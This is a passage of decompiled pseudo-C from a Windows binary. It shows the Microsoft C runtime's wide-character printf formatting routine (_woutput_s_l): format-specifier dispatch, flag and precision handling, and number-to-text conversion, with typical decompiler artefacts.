																 *(__ebp - 0x4ec) = __ecx;
																__eflags =  *(__ebp - 0x4ec) - 0x37;
																if( *(__ebp - 0x4ec) > 0x37) {
																	while(1) {
																		L187:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																}
																L66:
																_t141 =  *(__ebp - 0x4ec) + 0x43ca10; // 0xcccccc0d
																__eax =  *_t141 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C9D4))) {
																	case 0:
																		L120:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L121;
																	case 1:
																		L67:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L69;
																	case 2:
																		L82:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L84;
																	case 3:
																		L144:
																		 *(__ebp - 0x460) = 7;
																		L145:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L150;
																	case 4:
																		L75:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x474) = E004284A0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x474);
																		if( *(__ebp - 0x474) == 0) {
																			L77:
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																			L81:
																			goto L187;
																		}
																		L76:
																		__ecx =  *(__ebp - 0x474);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L81;
																		}
																		goto L77;
																	case 5:
																		L121:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L123:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L128:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B890( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AE20(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x440374; // 0x7e8e98dc
																				E00424690(__edx) =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE20(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0x8a8e9826
																						E00424690(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE20(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x44037c; // 0xc28e9826
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																				do {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				} while ( *(__ebp - 0x4ec) > 0x37);
																				goto L66;
																			}
																			L124:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L126;
																			}
																			L125:
																			 *(__ebp - 0x30) = 1;
																			goto L128;
																		}
																		L122:
																		 *(__ebp - 0x30) = 6;
																		goto L128;
																	case 6:
																		L69:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E004284A0(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x470) = __dl;
																			 *((char*)(__ebp - 0x46f)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AE20(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E0041AE20(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x470;
																			__eax = __ebp - 0x448;
																			__eax = E0043B550(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	case 7:
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L150:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004284A0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004284A0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004284A0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																	case 8:
																		L106:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x484) = E004284A0(__ebp + 0x14);
																		__eax = E00434040();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L116:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x484);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x484);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x484)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																		L107:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4f4) = 0;
																		} else {
																			 *(__ebp - 0x4f4) = 1;
																		}
																		__edx =  *(__ebp - 0x4f4);
																		 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E350();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) != 0) {
																			L115:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		} else {
																			L114:
																			 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
																			__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4cc) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041ADF0(__ecx);
																			__eax =  *(__ebp - 0x4cc);
																			goto L225;
																		}
																	case 9:
																		L148:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xa:
																		L143:
																		 *(__ebp - 0x30) = 8;
																		goto L144;
																	case 0xb:
																		L84:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4f0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4f0);
																		 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E004284A0(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L98:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0x440f84; // 0x404438
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x480) =  *(__ebp - 4);
																			while(1) {
																				L101:
																				__eax =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c) - 1;
																				 *(__ebp - 0x47c) = __ecx;
																				__eflags =  *(__ebp - 0x47c);
																				if( *(__ebp - 0x47c) == 0) {
																					break;
																				}
																				L102:
																				__edx =  *(__ebp - 0x480);
																				__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L103:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			}
																			L104:
																			__edx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L105;
																		} else {
																			L88:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x478) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																				if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																					break;
																				}
																				L93:
																				__ecx =  *(__ebp - 0x478);
																				__edx =  *__ecx;
																				__eflags =  *__ecx;
																				if( *__ecx == 0) {
																					break;
																				}
																				L94:
																				__ecx = __ebp - 0x40;
																				E0041AE20(__ebp - 0x40) =  *(__ebp - 0x478);
																				__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																				__eax = E00431350( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																				__eflags = __eax;
																				if(__eax != 0) {
																					__edx =  *(__ebp - 0x478);
																					__edx =  *(__ebp - 0x478) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x478) = __edx;
																				}
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				__edx =  *(__ebp - 0x24);
																				__edx =  *(__ebp - 0x24) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																			}
																			L97:
																			L105:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																	case 0xc:
																		L142:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																}
															case 8:
																L24:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) = __ecx;
																goto L27;
															case 9:
																L25:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L27;
															case 0xa:
																L23:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																goto L27;
															case 0xb:
																L22:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L27;
															case 0xc:
																L26:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L27;
															case 0xd:
																L27:
																goto L214;
														}
													} else {
														_t517 = 0;
														if(0 == 0) {
															 *(_t525 - 0x4dc) = 0;
														} else {
															 *(_t525 - 0x4dc) = 1;
														}
														 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
														if( *(_t525 - 0x46c) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t498 = L0041E350();
															_t527 = _t527 + 0x14;
															if(_t498 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t525 - 0x46c) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00422E40(_t510))) = 0x16;
															E00422BD0(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t525 - 0x4c8) = 0xffffffff;
															E0041ADF0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4c8);
															L225:
															return E0042BDF0(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
														}
													}
												}
												L215:
												__eflags =  *(_t525 - 0x45c);
												if( *(_t525 - 0x45c) == 0) {
													L218:
													 *(_t525 - 0x4f8) = 1;
													L219:
													_t517 =  *(_t525 - 0x4f8);
													 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t488 = L0041E350();
														_t527 = _t527 + 0x14;
														__eflags = _t488 - 1;
														if(_t488 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) != 0) {
														 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
														E0041ADF0(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d4);
													} else {
														 *((intOrPtr*)(L00422E40(_t502))) = 0x16;
														E00422BD0(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t525 - 0x4d0) = 0xffffffff;
														E0041ADF0(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d0);
													}
													goto L225;
												}
												L216:
												__eflags =  *(_t525 - 0x45c) - 7;
												if( *(_t525 - 0x45c) == 7) {
													goto L218;
												}
												L217:
												 *(_t525 - 0x4f8) = 0;
												goto L219;
											}
										}
										L184:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L186:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L187;
										}
										L185:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L187;
										}
										goto L186;
									}
									L180:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x4a4);
									__edx =  *(__ebp - 0x4a8);
									__eax = E004308C0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
									 *(__ebp - 0x494) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x4a4);
									__ecx =  *(__ebp - 0x4a8);
									 *(__ebp - 0x4a8) = E00430940( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x4a4) = __edx;
									__eflags =  *(__ebp - 0x494) - 0x39;
									if( *(__ebp - 0x494) > 0x39) {
										__edx =  *(__ebp - 0x494);
										__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
										__eflags = __edx;
										 *(__ebp - 0x494) = __edx;
									}
